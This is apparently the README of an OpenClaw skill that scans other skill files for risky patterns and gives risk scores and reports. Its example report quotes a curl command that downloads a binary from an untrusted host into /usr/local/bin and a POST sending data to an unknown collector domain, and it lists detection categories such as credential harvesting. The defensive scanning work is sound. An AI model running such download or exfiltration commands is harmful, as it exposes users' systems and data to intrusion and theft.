security-scanner
Security Scanner
Description
A security-focused skill that analyzes OpenClaw SKILL.md files and skill packages for potential security risks, malicious patterns, and suspicious behaviors. This tool helps protect your system by detecting:
- Hidden external downloads or executables
- Suspicious API calls and endpoints
- Dangerous file system operations
- Obfuscated or encoded commands
- Unusual prerequisite requirements
- Known malicious patterns
Why this matters: This scanner helps you review skills before installation by flagging potentially suspicious instruction patterns.
Features
- ✅ Pattern Detection: Identifies suspicious code patterns and behaviors
- ✅ Prerequisite Analysis: Validates required dependencies and downloads
- ✅ API Endpoint Validation: Checks for suspicious external connections
- ✅ File System Auditing: Detects dangerous file operations
- ✅ Encoding Detection: Flags base64, hex, and other obfuscation attempts
- ✅ Risk Scoring: Assigns risk levels (LOW, MEDIUM, HIGH, CRITICAL)
- ✅ Detailed Reports: Provides clear explanations of findings
- ✅ Whitelist Support: Configure trusted domains and patterns
How It Works
This is an OpenClaw skill (not a standalone program). When you ask the agent to scan a skill file:
- The agent reads this security-scanner skill to learn what patterns to look for
- The agent reads the skill file you want to scan
- The agent analyzes the instructions and reports findings
- You manually review the flagged items
Note: The included scanner.js file can also be run directly with Node.js 18+ if you prefer command-line usage.
Installation
Install via ClawHub or add to your OpenClaw skills directory.
For command-line usage (optional):
# Clone the repository
git clone https://github.com/anikrahman0/security-skill-scanner.git
cd security-skill-scanner
# Run the scanner
node scanner.js path/to/SKILL.md
Configuration
Create a .security-scanner-config.json in your OpenClaw directory (optional):
{
"whitelistedDomains": [
"github.com",
"api.openai.com",
"api.anthropic.com",
"raw.githubusercontent.com"
],
"whitelistedCommands": [
"npm install",
"pip install"
],
"strictMode": false
}
Usage
Scan a SKILL.md file
User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues"
Agent: [Runs security scan and reports findings]
Scan before installation
User: "I have the email-automation skill file. Can you scan it for security risks?"
[User uploads the SKILL.md file]
Agent: [Reads and analyzes the skill file, provides risk assessment]
Important: If you ask Claude to download a skill from the internet first, that download step will use network access (though the scanner itself runs offline).
Batch scan all installed skills
User: "Scan all my installed OpenClaw skills for security issues"
Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]
What It Detects
🔴 CRITICAL Risks
- Shell command injection attempts
- External executable downloads (curl/wget binaries)
- Suspicious eval() or exec() usage
- Credential harvesting patterns
- Known malware signatures
🟠 HIGH Risks
- Unvalidated external API calls
- File system write access to sensitive directories
- Base64 or hex encoded commands
- Requests to unknown domains
- Privilege escalation attempts
🟡 MEDIUM Risks
- Extensive file system read access
- Network requests without HTTPS
- Large numbers of dependencies
- Unusual prerequisite requests
- Deprecated or vulnerable packages
🟢 LOW Risks
- Minor code quality issues
- Missing error handling
- Incomplete documentation
- Non-critical warnings
⚠️ IMPORTANT: False Positives & Limitations
This Scanner WILL Flag Legitimate Patterns
The scanner uses regex patterns that may match innocent code. Common false positives:
- ✗ Backticks in markdown - Code examples using
backticks - ✗ Template strings - Documentation showing
${variable}syntax - ✗ Base64 examples - Skills demonstrating encoding/decoding
- ✗ Package managers - Legitimate
npm installorpip installcommands - ✗ GitHub URLs - Links to
raw.githubusercontent.com
What This Actually Scans
Skills are markdown instruction files, not executable code. This scanner:
- ✅ Reads the markdown text of skill files
- ✅ Looks for instruction patterns that might be concerning
- ✅ Flags items for your manual review
- ❌ Does NOT scan for executable malware (skills aren't programs)
- ❌ Does NOT provide definitive verdicts
Your Responsibility
YOU must review all flagged items in context. Ask yourself:
- Does this pattern make sense for what the skill does?
- Is the author trustworthy?
- Are the instructions clear and reasonable?
When in doubt, ask the skill author or community.
Output Format
=== Security Scan Report ===
Skill: email-automation
Scanned: 2024-02-09 14:30:22
Overall Risk: HIGH ⚠️
FINDINGS:
[CRITICAL] External Binary Download Detected
Location: Line 45 in prerequisites
Pattern: curl https://unknown-site.com/tool -o /usr/local/bin/helper
Risk: This downloads and executes an external binary from an untrusted source
Recommendation: DO NOT INSTALL - Manual verification required
[HIGH] Suspicious API Endpoint
Location: Line 89 in execute()
Pattern: POST to http://data-collector.xyz/log
Risk: Sends data to unknown third-party server
Recommendation: Review what data is being sent
[MEDIUM] Unencrypted Network Request
Location: Line 102
Pattern: HTTP instead of HTTPS
Risk: Data transmitted without encryption
Recommendation: Request HTTPS version
SUMMARY:
Total Issues: 3
Critical: 1
High: 1
Medium: 1
Low: 0
RECOMMENDATION: ❌ DO NOT INSTALL
This skill has critical security issues that pose significant risk to your system.
Example Scenarios
Scenario 1: Clean Skill
User: "Scan the weather-checker skill"
Agent: "✅ SAFE - No security issues detected. The skill uses standard API calls
to api.weatherapi.com with proper HTTPS and no file system access."
Scenario 2: Suspicious Skill
User: "Should I install the productivity-helper skill?"
Agent: "⚠️ WARNING - This skill attempts to download an external binary and
makes requests to an unknown domain. Risk Level: CRITICAL
Recommendation: DO NOT INSTALL"
Scenario 3: Minor Issues
User: "Analyze the note-taker skill"
Agent: "⚠️ CAUTION - Risk Level: LOW
Found 2 minor issues:
- Uses HTTP instead of HTTPS for icon download
- Missing input validation on file paths
These can likely be fixed. Consider contacting the author."
Security Guarantees
This scanner itself is designed with security in mind:
- ✅ No Network Access: The scanner itself runs completely offline (but if you ask Claude to download a skill file first, that download uses network)
- ✅ No External Dependencies: Pure JavaScript/Node.js
- ✅ Read-Only: Never modifies files being scanned
- ✅ No Telemetry: Doesn't send data anywhere
- ✅ Open Source: All code is auditable
- ✅ Sandboxed: Doesn't execute code from scanned skills
False Positives
The scanner may flag legitimate uses of certain patterns. Common false positives:
- npm/pip installs: Legitimate package managers may trigger warnings
- GitHub URLs: Raw GitHub content URLs are generally safe
- Config files: Skills that write to config files may be flagged
- Log files: Creating log files may trigger file system warnings
Use judgment and review flagged items in context.
Limitations
- Cannot detect zero-day exploits or novel attack vectors
- May miss sophisticated obfuscation techniques
- Requires human judgment for final decision
- Cannot scan encrypted or compiled code
- Pattern-based detection can have false positives
This tool is a helpful first line of defense, but not a replacement for careful review.
Contributing
Found a malicious pattern not detected? Submit an issue or PR with:
- The malicious pattern
- Example skill that uses it
- Suggested detection method
Roadmap
- Machine learning-based pattern detection
- Integration with VirusTotal API (optional)
- Automatic skill reputation checking
- Community-sourced malware signatures
- Browser extension for ClawHub.ai scanning
- CI/CD integration for skill developers
Support
- Report issues: https://github.com/anikrahman0/security-skill-scanner/issues
- Suggest improvements: Pull requests welcome
- Security concerns: a7604366@gmail.com
License
MIT License - Free to use, modify, and distribute
Disclaimer
This tool provides pattern-based security scanning with expected false positives. It scans instruction files (markdown), not executable code.
Critical: This scanner cannot provide definitive security verdicts. All flagged items require manual review in context. Skills are instructions for Claude to read, not programs that execute automatically.
Always review skills carefully before installation, especially those requiring system-level permissions. The authors are not responsible for any damages resulting from use of this tool or installation of scanned skills.
Remember: If a skill seems too good to be true or requests unusual permissions, it probably is suspicious. When in doubt, don't install it.